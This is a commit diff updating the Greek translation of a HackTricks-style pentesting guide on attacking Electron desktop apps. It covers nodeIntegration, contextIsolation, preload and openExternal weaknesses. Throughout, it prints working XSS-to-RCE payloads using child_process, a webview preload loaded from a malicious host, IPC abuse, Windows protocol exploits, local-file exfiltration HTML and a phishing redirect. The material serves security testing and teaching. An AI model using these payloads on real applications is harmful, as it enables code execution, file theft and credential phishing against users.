mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/network-services-pentesting/pentesting-web/electron
This commit is contained in:
parent
58ca01a3b5
commit
5efd0b6cd1
@ -1,17 +1,17 @@
|
||||
# Electron Desktop Apps
|
||||
# Εφαρμογές Electron για Desktop
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Εισαγωγή
|
||||
|
||||
Το Electron συνδυάζει έναν τοπικό backend (με **NodeJS**) και ένα frontend (**Chromium**), αν και του λείπουν ορισμένοι από τους μηχανισμούς ασφαλείας των σύγχρονων προγραμμάτων περιήγησης.
|
||||
Electron συνδυάζει ένα τοπικό backend (με **NodeJS**) και ένα frontend (**Chromium**), αν και του λείπουν κάποιοι μηχανισμοί ασφάλειας των σύγχρονων browsers.
|
||||
|
||||
Συνήθως μπορείς να βρεις τον κώδικα της εφαρμογής electron μέσα σε μια εφαρμογή `.asar`, προκειμένου να αποκτήσεις τον κώδικα πρέπει να τον εξαγάγεις:
|
||||
Συνήθως μπορείς να βρεις τον κώδικα της εφαρμογής Electron μέσα σε ένα αρχείο `.asar`. Για να αποκτήσεις τον κώδικα πρέπει να τον εξαγάγεις:
|
||||
```bash
|
||||
npx asar extract app.asar destfolder #Extract everything
|
||||
npx asar extract-file app.asar main.js #Extract just a file
|
||||
```
|
||||
Στον πηγαίο κώδικα μιας εφαρμογής Electron, μέσα στο `packet.json`, μπορείτε να βρείτε καθορισμένο το αρχείο `main.js` όπου έχουν ρυθμιστεί οι ρυθμίσεις ασφαλείας.
|
||||
Στον πηγαίο κώδικα μιας Electron app, μέσα στο `packet.json`, μπορείτε να βρείτε το `main.js` που έχει οριστεί και στο οποίο ορίζονται οι ρυθμίσεις ασφάλειας.
|
||||
```json
|
||||
{
|
||||
"name": "standard-notes",
|
||||
@ -19,12 +19,12 @@ npx asar extract-file app.asar main.js #Extract just a file
|
||||
```
|
||||
Το Electron έχει 2 τύπους διεργασιών:
|
||||
|
||||
- Κύρια Διεργασία (έχει πλήρη πρόσβαση στο NodeJS)
|
||||
- Διεργασία Απόδοσης (θα πρέπει να έχει περιορισμένη πρόσβαση στο NodeJS για λόγους ασφαλείας)
|
||||
- Main Process (έχει πλήρη πρόσβαση στο NodeJS)
|
||||
- Renderer Process (θα πρέπει να έχει περιορισμένη πρόσβαση στο NodeJS για λόγους ασφαλείας)
|
||||
|
||||
.png>)
|
||||
|
||||
Μια **διεργασία απόδοσης** θα είναι ένα παράθυρο προγράμματος περιήγησης που φορτώνει ένα αρχείο:
|
||||
Μια **renderer process** θα είναι ένα παράθυρο browser που φορτώνει ένα αρχείο:
|
||||
```javascript
|
||||
const { BrowserWindow } = require("electron")
|
||||
let win = new BrowserWindow()
|
||||
@ -32,20 +32,20 @@ let win = new BrowserWindow()
|
||||
//Open Renderer Process
|
||||
win.loadURL(`file://path/to/index.html`)
|
||||
```
|
||||
Οι ρυθμίσεις της **διαδικασίας renderer** μπορούν να **ρυθμιστούν** στη **κύρια διαδικασία** μέσα στο αρχείο main.js. Ορισμένες από τις ρυθμίσεις θα **αποτρέψουν την εφαρμογή Electron να αποκτήσει RCE** ή άλλες ευπάθειες αν οι **ρυθμίσεις είναι σωστά ρυθμισμένες**.
|
||||
Οι ρυθμίσεις της **renderer process** μπορούν να **διαμορφωθούν** στην **main process** μέσα στο αρχείο main.js. Ορισμένες από αυτές τις ρυθμίσεις θα **αποτρέψουν το Electron application από το να αποκτήσει RCE** ή άλλες ευπάθειες εάν οι **ρυθμίσεις είναι σωστά διαμορφωμένες**.
|
||||
|
||||
Η εφαρμογή electron **μπορεί να έχει πρόσβαση στη συσκευή** μέσω των Node APIs, αν και μπορεί να ρυθμιστεί για να το αποτρέψει:
|
||||
Η εφαρμογή Electron μπορεί να αποκτήσει πρόσβαση στη συσκευή μέσω Node apis, αν και μπορεί να ρυθμιστεί ώστε να το αποτρέψει:
|
||||
|
||||
- **`nodeIntegration`** - είναι `off` από προεπιλογή. Αν είναι ενεργοποιημένο, επιτρέπει την πρόσβαση σε χαρακτηριστικά του node από τη διαδικασία renderer.
|
||||
- **`contextIsolation`** - είναι `on` από προεπιλογή. Αν είναι απενεργοποιημένο, οι κύριες και οι διαδικασίες renderer δεν είναι απομονωμένες.
|
||||
- **`preload`** - κενό από προεπιλογή.
|
||||
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - είναι απενεργοποιημένο από προεπιλογή. Θα περιορίσει τις ενέργειες που μπορεί να εκτελέσει το NodeJS.
|
||||
- **`nodeIntegration`** - είναι `off` από προεπιλογή. Αν είναι `on`, επιτρέπει την πρόσβαση σε Node features από τη renderer process.
|
||||
- **`contextIsolation`** - είναι `on` από προεπιλογή. Αν είναι `off`, οι main και renderer processes δεν είναι απομονωμένες.
|
||||
- **`preload`** - είναι κενό από προεπιλογή.
|
||||
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - είναι `off` από προεπιλογή. Θα περιορίσει τις ενέργειες που μπορεί να εκτελέσει το NodeJS.
|
||||
- Node Integration σε Workers
|
||||
- **`nodeIntegrationInSubframes`** - είναι `off` από προεπιλογή.
|
||||
- Αν η **`nodeIntegration`** είναι **ενεργοποιημένη**, αυτό θα επιτρέψει τη χρήση των **Node.js APIs** σε ιστοσελίδες που είναι **φορτωμένες σε iframes** μέσα σε μια εφαρμογή Electron.
|
||||
- Αν η **`nodeIntegration`** είναι **απενεργοποιημένη**, τότε τα preload θα φορτωθούν στο iframe.
|
||||
- **`nodeIntegrationInSubframes`**- είναι `off` από προεπιλογή.
|
||||
- Αν το **`nodeIntegration`** είναι **enabled**, αυτό θα επέτρεπε τη χρήση των **Node.js APIs** σε web pages που είναι **φορτωμένες σε iframes** μέσα σε μια Electron application.
|
||||
- Αν το **`nodeIntegration`** είναι **disabled**, τότε τα preloads θα φορτωθούν στο iframe
|
||||
|
||||
Παράδειγμα ρύθμισης:
|
||||
Παράδειγμα διαμόρφωσης:
|
||||
```javascript
|
||||
const mainWindowOptions = {
|
||||
title: "Discord",
|
||||
@ -71,7 +71,7 @@ spellcheck: true,
|
||||
},
|
||||
}
|
||||
```
|
||||
Ορισμένα **RCE payloads** από [εδώ](https://7as.es/electron/nodeIntegration_rce.txt):
|
||||
Μερικά **RCE payloads** από [here](https://7as.es/electron/nodeIntegration_rce.txt):
|
||||
```html
|
||||
Example Payloads (Windows):
|
||||
<img
|
||||
@ -95,15 +95,15 @@ onerror="alert(require('child_process').execSync('ls -l').toString());" />
|
||||
src="x"
|
||||
onerror="alert(require('child_process').execSync('uname -a').toString());" />
|
||||
```
|
||||
### Capture traffic
|
||||
### Καταγραφή traffic
|
||||
|
||||
Τροποποιήστε τη ρύθμιση start-main και προσθέστε τη χρήση ενός proxy όπως:
|
||||
Τροποποιήστε τη διαμόρφωση start-main και προσθέστε τη χρήση ενός proxy όπως:
|
||||
```javascript
|
||||
"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",
|
||||
```
|
||||
## Electron Local Code Injection
|
||||
|
||||
Αν μπορείτε να εκτελέσετε το Electron App τοπικά, είναι πιθανό να μπορέσετε να το κάνετε να εκτελεί αυθαίρετο κώδικα javascript. Δείτε πώς στο:
|
||||
Αν μπορείτε να εκτελέσετε τοπικά μια Electron App, είναι πιθανό να καταφέρετε να την κάνετε να εκτελέσει αυθαίρετο javascript κώδικα. Δείτε πώς στο:
|
||||
|
||||
{{#ref}}
|
||||
../../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md
|
||||
@ -111,7 +111,7 @@ onerror="alert(require('child_process').execSync('uname -a').toString());" />
|
||||
|
||||
## RCE: XSS + nodeIntegration
|
||||
|
||||
Αν το **nodeIntegration** είναι ρυθμισμένο σε **on**, το JavaScript μιας ιστοσελίδας μπορεί να χρησιμοποιήσει εύκολα τις δυνατότητες του Node.js απλά καλώντας το `require()`. Για παράδειγμα, ο τρόπος εκτέλεσης της εφαρμογής calc στα Windows είναι:
|
||||
Αν το **nodeIntegration** είναι ρυθμισμένο σε **on**, το JavaScript μιας σελίδας web μπορεί να χρησιμοποιήσει λειτουργίες του Node.js εύκολα απλώς καλώντας τη `require()`. Για παράδειγμα, ο τρόπος εκτέλεσης της εφαρμογής calc στα Windows είναι:
|
||||
```html
|
||||
<script>
|
||||
require("child_process").exec("calc")
|
||||
@ -123,7 +123,7 @@ top.require("child_process").exec("open /System/Applications/Calculator.app")
|
||||
|
||||
## RCE: preload
|
||||
|
||||
Το σενάριο που υποδεικνύεται σε αυτή τη ρύθμιση είναι l**oaded πριν από άλλα σενάρια στον renderer**, έτσι έχει **απεριόριστη πρόσβαση στα Node APIs**:
|
||||
Το script που υποδεικνύεται σε αυτή τη ρύθμιση είναι l**φορτωμένο πριν από άλλα scripts στον renderer**, έτσι έχει **απεριόριστη πρόσβαση σε Node APIs**:
|
||||
```javascript
|
||||
new BrowserWindow{
|
||||
webPreferences: {
|
||||
@ -132,7 +132,7 @@ preload: _path2.default.join(__dirname, 'perload.js'),
|
||||
}
|
||||
});
|
||||
```
|
||||
Επομένως, το σενάριο μπορεί να εξάγει node-features σε σελίδες:
|
||||
Επομένως, το script μπορεί να εξάγει node-features σε σελίδες:
|
||||
```javascript:preload.js
|
||||
typeof require === "function"
|
||||
window.runCalc = function () {
|
||||
@ -148,51 +148,54 @@ runCalc()
|
||||
</script>
|
||||
</body>
|
||||
```
|
||||
> [!NOTE] > **Αν το `contextIsolation` είναι ενεργοποιημένο, αυτό δεν θα λειτουργήσει**
|
||||
> [!NOTE] > **Αν το `contextIsolation` είναι ενεργοποιημένο, αυτό δεν θα δουλέψει**
|
||||
|
||||
## RCE: XSS + contextIsolation
|
||||
|
||||
Το _**contextIsolation**_ εισάγει **χωριστά συμφραζόμενα μεταξύ των σεναρίων της ιστοσελίδας και του εσωτερικού κώδικα JavaScript του Electron** έτσι ώστε η εκτέλεση JavaScript κάθε κώδικα να μην επηρεάζει η μία την άλλη. Αυτή είναι μια απαραίτητη δυνατότητα για να εξαλειφθεί η πιθανότητα RCE.
|
||||
Το _**contextIsolation**_ εισάγει τους **διαχωρισμένους contexts μεταξύ των scripts της web σελίδας και του internal JavaScript κώδικα του Electron** ώστε η εκτέλεση JavaScript του κάθε κομματιού κώδικα να μην επηρεάζει το άλλο. Πρόκειται για μια απαραίτητη λειτουργία για να εξαλειφθεί η πιθανότητα RCE.
|
||||
|
||||
Αν τα συμφραζόμενα δεν είναι απομονωμένα, ένας επιτιθέμενος μπορεί να:
|
||||
Αν τα contexts δεν είναι απομονωμένα, ένας επιτιθέμενος μπορεί:
|
||||
|
||||
1. Εκτελέσει **τυχαίο JavaScript στον renderer** (XSS ή πλοήγηση σε εξωτερικές ιστοσελίδες)
|
||||
2. **Επαναγράψει τη встроμένη μέθοδο** που χρησιμοποιείται στον preload ή στον εσωτερικό κώδικα του Electron σε δική του συνάρτηση
|
||||
3. **Ενεργοποιήσει** τη χρήση της **επαναγραμμένης συνάρτησης**
|
||||
4. RCE;
|
||||
1. Εκτελέσει **arbitrary JavaScript in renderer** (XSS ή πλοήγηση σε εξωτερικές σελίδες)
|
||||
2. **Αντικαταστήσει την built-in μέθοδο** που χρησιμοποιείται στο preload ή στον internal κώδικα του Electron για να αποκτήσει έλεγχο της συνάρτησης
|
||||
3. **Προκαλέσει** τη χρήση της **αντικαταστημένης συνάρτησης**
|
||||
4. RCE?
|
||||
|
||||
There are 2 places where built-int methods can be overwritten: In preload code or in Electron internal code:
|
||||
|
||||
Υπάρχουν 2 μέρη όπου οι встроμένες μέθοδοι μπορούν να επαναγραφούν: Στον κώδικα preload ή στον εσωτερικό κώδικα του Electron:
|
||||
|
||||
{{#ref}}
|
||||
electron-contextisolation-rce-via-preload-code.md
|
||||
{{#endref}}
|
||||
|
||||
|
||||
{{#ref}}
|
||||
electron-contextisolation-rce-via-electron-internal-code.md
|
||||
{{#endref}}
|
||||
|
||||
|
||||
{{#ref}}
|
||||
electron-contextisolation-rce-via-ipc.md
|
||||
{{#endref}}
|
||||
|
||||
### Παράκαμψη γεγονότος κλικ
|
||||
### Παράκαμψη click event
|
||||
|
||||
Αν υπάρχουν περιορισμοί που εφαρμόζονται όταν κάνετε κλικ σε έναν σύνδεσμο, μπορεί να είστε σε θέση να τους παρακάμψετε **κάνοντας ένα μεσαίο κλικ** αντί για ένα κανονικό αριστερό κλικ.
|
||||
Αν υπάρχουν περιορισμοί όταν κάνετε click σε ένα link, ίσως να μπορείτε να τους παρακάμψετε **κάνoντας middle click** αντί για το κανονικό left click
|
||||
```javascript
|
||||
window.addEventListener('click', (e) => {
|
||||
```
|
||||
## RCE μέσω shell.openExternal
|
||||
## RCE via shell.openExternal
|
||||
|
||||
Για περισσότερες πληροφορίες σχετικά με αυτά τα παραδείγματα, ελέγξτε [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) και [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)
|
||||
Για περισσότερες πληροφορίες σχετικά με αυτά τα παραδείγματα δείτε [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) και [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)
|
||||
|
||||
Κατά την ανάπτυξη μιας εφαρμογής Electron desktop, είναι κρίσιμο να διασφαλιστούν οι σωστές ρυθμίσεις για το `nodeIntegration` και το `contextIsolation`. Είναι αποδεκτό ότι η **εκτέλεση απομακρυσμένου κώδικα (RCE)** από την πλευρά του πελάτη που στοχεύει σε preload scripts ή στον εγγενή κώδικα του Electron από τη βασική διαδικασία αποτρέπεται αποτελεσματικά με αυτές τις ρυθμίσεις σε εφαρμογή.
|
||||
Κατά την ανάπτυξη μιας Electron desktop εφαρμογής, η διασφάλιση των σωστών ρυθμίσεων για `nodeIntegration` και `contextIsolation` είναι κρίσιμη. Έχει αποδειχθεί ότι **client-side remote code execution (RCE)** που στοχεύει preload scripts ή Electron's native code από τη main process αποτρέπεται αποτελεσματικά με αυτές τις ρυθμίσεις.
|
||||
|
||||
Όταν ένας χρήστης αλληλεπιδρά με συνδέσμους ή ανοίγει νέα παράθυρα, ενεργοποιούνται συγκεκριμένοι ακροατές γεγονότων, οι οποίοι είναι κρίσιμοι για την ασφάλεια και τη λειτουργικότητα της εφαρμογής:
|
||||
Όταν ένας χρήστης αλληλεπιδρά με links ή ανοίγει νέα παράθυρα, ενεργοποιούνται συγκεκριμένα event listeners, τα οποία είναι κρίσιμα για την ασφάλεια και τη λειτουργικότητα της εφαρμογής:
|
||||
```javascript
|
||||
webContents.on("new-window", function (event, url, disposition, options) {}
|
||||
webContents.on("will-navigate", function (event, url) {}
|
||||
```
|
||||
Αυτοί οι ακροατές είναι **υπερκαλυμμένοι από την επιτραπέζια εφαρμογή** για να υλοποιήσουν τη δική τους **λογική επιχειρήσεων**. Η εφαρμογή αξιολογεί αν ένας πλοηγημένος σύνδεσμος θα πρέπει να ανοιχτεί εσωτερικά ή σε έναν εξωτερικό φυλλομετρητή. Αυτή η απόφαση συνήθως λαμβάνεται μέσω μιας συνάρτησης, `openInternally`. Αν αυτή η συνάρτηση επιστρέψει `false`, υποδεικνύει ότι ο σύνδεσμος θα πρέπει να ανοιχτεί εξωτερικά, χρησιμοποιώντας τη συνάρτηση `shell.openExternal`.
|
||||
Αυτοί οι listeners είναι **υπερκαθορισμένοι από την επιτραπέζια εφαρμογή** για να υλοποιήσουν τη δική της **business logic**. Η εφαρμογή αξιολογεί εάν ένας πλοηγημένος σύνδεσμος πρέπει να ανοίξει εσωτερικά ή σε εξωτερικό web browser. Αυτή η απόφαση συνήθως λαμβάνεται μέσω μιας συνάρτησης, `openInternally`. Αν αυτή η συνάρτηση επιστρέψει `false`, σημαίνει ότι ο σύνδεσμος πρέπει να ανοίξει εξωτερικά, χρησιμοποιώντας τη συνάρτηση `shell.openExternal`.
|
||||
|
||||
**Εδώ είναι ένας απλοποιημένος ψευδοκώδικας:**
|
||||
|
||||
@ -200,11 +203,11 @@ webContents.on("will-navigate", function (event, url) {}
|
||||
|
||||
.png>)
|
||||
|
||||
Οι καλύτερες πρακτικές ασφαλείας του Electron JS προειδοποιούν κατά της αποδοχής μη αξιόπιστου περιεχομένου με τη συνάρτηση `openExternal`, καθώς αυτό θα μπορούσε να οδηγήσει σε RCE μέσω διαφόρων πρωτοκόλλων. Τα λειτουργικά συστήματα υποστηρίζουν διαφορετικά πρωτόκολλα που μπορεί να ενεργοποιήσουν RCE. Για λεπτομερείς παραδείγματα και περαιτέρω εξήγηση σχετικά με αυτό το θέμα, μπορεί κανείς να ανατρέξει [σε αυτό το πόρο](https://positive.security/blog/url-open-rce#windows-10-19042), ο οποίος περιλαμβάνει παραδείγματα πρωτοκόλλων Windows ικανά να εκμεταλλευτούν αυτή την ευπάθεια.
|
||||
Οι βέλτιστες πρακτικές ασφαλείας για το Electron JS συστήνουν να μην γίνεται αποδοχή μη αξιόπιστου περιεχομένου με τη συνάρτηση `openExternal`, καθώς αυτό μπορεί να οδηγήσει σε RCE μέσω διάφορων πρωτοκόλλων. Τα λειτουργικά συστήματα υποστηρίζουν διαφορετικά πρωτόκολλα που μπορεί να ενεργοποιήσουν RCE. Για αναλυτικά παραδείγματα και περαιτέρω εξήγηση πάνω σε αυτό το θέμα, μπορείτε να ανατρέξετε σε [αυτόν τον πόρο](https://positive.security/blog/url-open-rce#windows-10-19042), ο οποίος περιλαμβάνει παραδείγματα Windows protocol ικανά να εκμεταλλευτούν αυτή την ευπάθεια.
|
||||
|
||||
Στο macos, η συνάρτηση `openExternal` μπορεί να εκμεταλλευτεί για να εκτελέσει αυθαίρετες εντολές όπως στο `shell.openExternal('file:///System/Applications/Calculator.app')`.
|
||||
Στο macos, η συνάρτηση `openExternal` μπορεί να εκμεταλλευτεί για την εκτέλεση αυθαίρετων εντολών, π.χ. `shell.openExternal('file:///System/Applications/Calculator.app')`.
|
||||
|
||||
**Παραδείγματα εκμεταλλεύσεων πρωτοκόλλων Windows περιλαμβάνουν:**
|
||||
**Παραδείγματα Windows protocol exploits περιλαμβάνουν:**
|
||||
```html
|
||||
<script>
|
||||
window.open(
|
||||
@ -224,17 +227,17 @@ window.open(
|
||||
)
|
||||
</script>
|
||||
```
|
||||
## RCE: webviewTag + ευάλωτο preload IPC + shell.openExternal
|
||||
## RCE: webviewTag + vulnerable preload IPC + shell.openExternal
|
||||
|
||||
Αυτή η ευπάθεια μπορεί να βρεθεί σε **[αυτή την αναφορά](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**.
|
||||
Αυτή η vuln μπορεί να βρεθεί στο **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**.
|
||||
|
||||
Το **webviewTag** είναι μια **παρωχημένη δυνατότητα** που επιτρέπει τη χρήση του **NodeJS** στη **διαδικασία απόδοσης**, η οποία θα πρέπει να απενεργοποιείται καθώς επιτρέπει τη φόρτωση ενός script μέσα στο πλαίσιο preload όπως:
|
||||
Το **webviewTag** είναι μια **deprecated feature** που επιτρέπει τη χρήση του **NodeJS** στη **renderer process**, η οποία πρέπει να απενεργοποιηθεί καθώς επιτρέπει τη φόρτωση ενός script μέσα στο preload context όπως:
|
||||
```xml
|
||||
<webview src="https://example.com/" preload="file://malicious.example/test.js"></webview>
|
||||
```
|
||||
Ως εκ τούτου, ένας επιτιθέμενος που καταφέρνει να φορτώσει μια αυθαίρετη σελίδα θα μπορούσε να χρησιμοποιήσει αυτή την ετικέτα για να **φορτώσει ένα αυθαίρετο script προφόρτωσης**.
|
||||
Επομένως, ένας επιτιθέμενος που καταφέρνει να φορτώσει μια αυθαίρετη σελίδα θα μπορούσε να χρησιμοποιήσει αυτό το tag για να **load an arbitrary preload script**.
|
||||
|
||||
Αυτό το script προφόρτωσης καταχράστηκε στη συνέχεια για να καλέσει μια **ευάλωτη υπηρεσία IPC (`skype-new-window`)** που καλούσε **`shell.openExternal`** για να αποκτήσει RCE:
|
||||
Αυτό το preload script αξιοποιήθηκε στη συνέχεια για να καλέσει μια **vulnerable IPC service (`skype-new-window`)**, η οποία με τη σειρά της καλούσε **`shell.openExternal`** για να επιτύχει RCE:
|
||||
```javascript
|
||||
(async() => {
|
||||
const { ipcRenderer } = require("electron");
|
||||
@ -247,11 +250,11 @@ await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Do
|
||||
```
|
||||
## Ανάγνωση Εσωτερικών Αρχείων: XSS + contextIsolation
|
||||
|
||||
**Η απενεργοποίηση του `contextIsolation` επιτρέπει τη χρήση των ετικετών `<webview>`**, παρόμοια με τις `<iframe>`, για την ανάγνωση και εξαγωγή τοπικών αρχείων. Ένα παράδειγμα που παρέχεται δείχνει πώς να εκμεταλλευτείτε αυτήν την ευπάθεια για να διαβάσετε το περιεχόμενο εσωτερικών αρχείων:
|
||||
**Απενεργοποίηση του `contextIsolation` επιτρέπει τη χρήση των `<webview>` tags**, παρόμοια με `<iframe>`, για ανάγνωση και exfiltrating τοπικών αρχείων. Ένα παράδειγμα δείχνει πώς να εκμεταλλευτείτε αυτή την ευπάθεια για να διαβάσετε το περιεχόμενο εσωτερικών αρχείων:
|
||||
|
||||
.png>)
|
||||
|
||||
Επιπλέον, μια άλλη μέθοδος για **την ανάγνωση ενός εσωτερικού αρχείου** μοιράζεται, επισημαίνοντας μια κρίσιμη ευπάθεια ανάγνωσης τοπικών αρχείων σε μια εφαρμογή Electron desktop. Αυτό περιλαμβάνει την έγχυση ενός script για να εκμεταλλευτείτε την εφαρμογή και να εξαγάγετε δεδομένα:
|
||||
Επιπλέον, μοιράζεται μια άλλη μέθοδος για **ανάγνωση ενός εσωτερικού αρχείου**, επισημαίνοντας μια κρίσιμη ευπάθεια ανάγνωσης τοπικού αρχείου σε μια Electron desktop εφαρμογή. Αυτό περιλαμβάνει την εισαγωγή ενός script για να εκμεταλλευτεί την εφαρμογή και exfiltrate δεδομένα:
|
||||
```html
|
||||
<br /><br /><br /><br />
|
||||
<h1>
|
||||
@ -267,23 +270,23 @@ frames[0].document.body.innerText
|
||||
</script>
|
||||
</h1>
|
||||
```
|
||||
## **RCE: XSS + Παλιός Chromium**
|
||||
## **RCE: XSS + Old Chromium**
|
||||
|
||||
Αν ο **chromium** που χρησιμοποιείται από την εφαρμογή είναι **παλιός** και υπάρχουν **γνωστές** **ευπάθειες** σε αυτόν, μπορεί να είναι δυνατό να **εκμεταλλευτείς το και να αποκτήσεις RCE μέσω ενός XSS**.\
|
||||
Μπορείς να δεις ένα παράδειγμα σε αυτή τη **writeup**: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)
|
||||
Εάν το **chromium** που χρησιμοποιείται από την εφαρμογή είναι **παλαιό** και υπάρχουν **γνωστές** **ευπάθειες** σε αυτό, μπορεί να είναι δυνατό να **εκμεταλλευτείτε** αυτές και να αποκτήσετε RCE μέσω XSS.\
|
||||
Μπορείτε να δείτε ένα παράδειγμα σε αυτό το **writeup**: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)
|
||||
|
||||
## **XSS Phishing μέσω παράκαμψης regex εσωτερικού URL**
|
||||
## **XSS Phishing via Internal URL regex bypass**
|
||||
|
||||
Υποθέτοντας ότι βρήκες ένα XSS αλλά **δεν μπορείς να ενεργοποιήσεις RCE ή να κλέψεις εσωτερικά αρχεία**, θα μπορούσες να προσπαθήσεις να το χρησιμοποιήσεις για να **κλέψεις διαπιστευτήρια μέσω phishing**.
|
||||
Σε περίπτωση που βρήκατε XSS αλλά **δεν μπορείτε να ενεργοποιήσετε RCE ή να κλέψετε internal files** μπορείτε να προσπαθήσετε να το χρησιμοποιήσετε για να **steal credentials μέσω phishing**.
|
||||
|
||||
Πρώτα απ' όλα, πρέπει να ξέρεις τι συμβαίνει όταν προσπαθείς να ανοίξεις μια νέα διεύθυνση URL, ελέγχοντας τον κωδικό JS στο front-end:
|
||||
Πρώτα απ' όλα πρέπει να ξέρετε τι συμβαίνει όταν προσπαθείτε να ανοίξετε ένα νέο URL, ελέγχοντας τον JS κώδικα στο front-end:
|
||||
```javascript
|
||||
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
|
||||
webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below)
|
||||
```
|
||||
Η κλήση της **`openInternally`** θα αποφασίσει αν το **link** θα **ανοίξει** στο **παράθυρο επιφάνειας εργασίας** καθώς είναι ένα link που ανήκει στην πλατφόρμα, **ή** αν θα ανοίξει στον **φυλλομετρητή ως πόρος τρίτου μέρους**.
|
||||
Η κλήση στην **`openInternally`** θα αποφασίσει αν ο **link** θα **opened** στο **desktop window**, καθώς είναι ένα link που ανήκει στην πλατφόρμα, **or** αν θα ανοίξει στον **browser as a 3rd party resource**.
|
||||
|
||||
Σε περίπτωση που η **regex** που χρησιμοποιείται από τη συνάρτηση είναι **ευάλωτη σε παρακάμψεις** (για παράδειγμα, **μη διαφεύγοντας τα σημεία των υποτομέων**), ένας επιτιθέμενος θα μπορούσε να εκμεταλλευτεί το XSS για να **ανοίξει ένα νέο παράθυρο το οποίο** θα βρίσκεται στην υποδομή του επιτιθέμενου **ζητώντας διαπιστευτήρια** από τον χρήστη:
|
||||
Σε περίπτωση που η **regex** που χρησιμοποιείται από τη συνάρτηση είναι **vulnerable to bypasses** (για παράδειγμα λόγω **not escaping the dots of subdomains**), ένας attacker θα μπορούσε να εκμεταλλευτεί το **XSS** για να **open a new window which** θα βρίσκεται στην υποδομή του attacker **asking for credentials** προς τον user:
|
||||
```html
|
||||
<script>
|
||||
window.open("<http://subdomainagoogleq.com/index.html>")
|
||||
@ -291,21 +294,21 @@ window.open("<http://subdomainagoogleq.com/index.html>")
|
||||
```
|
||||
## `file://` Πρωτόκολλο
|
||||
|
||||
Όπως αναφέρεται στα [έγγραφα](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols), οι σελίδες που εκτελούνται σε **`file://`** έχουν μονομερή πρόσβαση σε κάθε αρχείο στον υπολογιστή σας, πράγμα που σημαίνει ότι **τα ζητήματα XSS μπορούν να χρησιμοποιηθούν για να φορτώσουν αυθαίρετα αρχεία** από τον υπολογιστή του χρήστη. Η χρήση ενός **προσαρμοσμένου πρωτοκόλλου** αποτρέπει τέτοια ζητήματα, καθώς μπορείτε να περιορίσετε το πρωτόκολλο ώστε να εξυπηρετεί μόνο ένα συγκεκριμένο σύνολο αρχείων.
|
||||
As mentioned in [the docs](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols) σελίδες που τρέχουν στο **`file://`** έχουν μονομερή πρόσβαση σε κάθε αρχείο του συστήματός σας, πράγμα που σημαίνει ότι τα **XSS issues** μπορούν να χρησιμοποιηθούν για να φορτώσουν αυθαίρετα αρχεία από το μηχάνημα του χρήστη. Η χρήση ενός **προσαρμοσμένου πρωτοκόλλου** αποτρέπει τέτοια προβλήματα, καθώς μπορείτε να περιορίσετε το πρωτόκολλο ώστε να εξυπηρετεί μόνο ένα συγκεκριμένο σύνολο αρχείων.
|
||||
|
||||
## Απομακρυσμένο module
|
||||
## Remote module
|
||||
|
||||
Το απομακρυσμένο module του Electron επιτρέπει στους **renderer processes να έχουν πρόσβαση σε APIs του κύριου process**, διευκολύνοντας την επικοινωνία εντός μιας εφαρμογής Electron. Ωστόσο, η ενεργοποίηση αυτού του module εισάγει σημαντικούς κινδύνους ασφαλείας. Επεκτείνει την επιφάνεια επίθεσης της εφαρμογής, καθιστώντας την πιο ευάλωτη σε τρωτά σημεία όπως οι επιθέσεις cross-site scripting (XSS).
|
||||
The Electron Remote module επιτρέπει στις **renderer processes να έχουν πρόσβαση στα main process APIs**, διευκολύνοντας την επικοινωνία μέσα σε μια εφαρμογή Electron. Ωστόσο, η ενεργοποίηση αυτού του module εισάγει σημαντικούς κινδύνους ασφάλειας. Διευρύνει την attack surface της εφαρμογής, κάνοντάς την πιο επιρρεπή σε ευπάθειες όπως επιθέσεις cross-site scripting (XSS).
|
||||
|
||||
> [!TIP]
|
||||
> Αν και το **remote** module εκθέτει ορισμένα APIs από τον κύριο στους renderer processes, δεν είναι απλό να αποκτήσετε RCE μόνο εκμεταλλευόμενοι τα components. Ωστόσο, τα components μπορεί να εκθέτουν ευαίσθητες πληροφορίες.
|
||||
> Παρόλο που το **remote** module εκθέτει μερικά APIs από το main προς τα renderer processes, δεν είναι άμεσο να αποκτηθεί RCE απλώς εκμεταλλευόμενοι τα components. Ωστόσο, τα components μπορεί να εκθέτουν ευαίσθητες πληροφορίες.
|
||||
|
||||
> [!WARNING]
|
||||
> Πολλές εφαρμογές που εξακολουθούν να χρησιμοποιούν το remote module το κάνουν με τρόπο που **απαιτεί να είναι ενεργοποιημένο το NodeIntegration** στη διαδικασία renderer, το οποίο είναι **μεγάλος κίνδυνος ασφαλείας**.
|
||||
> Πολλές εφαρμογές που ακόμα χρησιμοποιούν το remote module το κάνουν με τρόπο που **απαιτεί το NodeIntegration να είναι ενεργοποιημένο** στη renderer process, το οποίο αποτελεί **τεράστιο κίνδυνο ασφαλείας**.
|
||||
|
||||
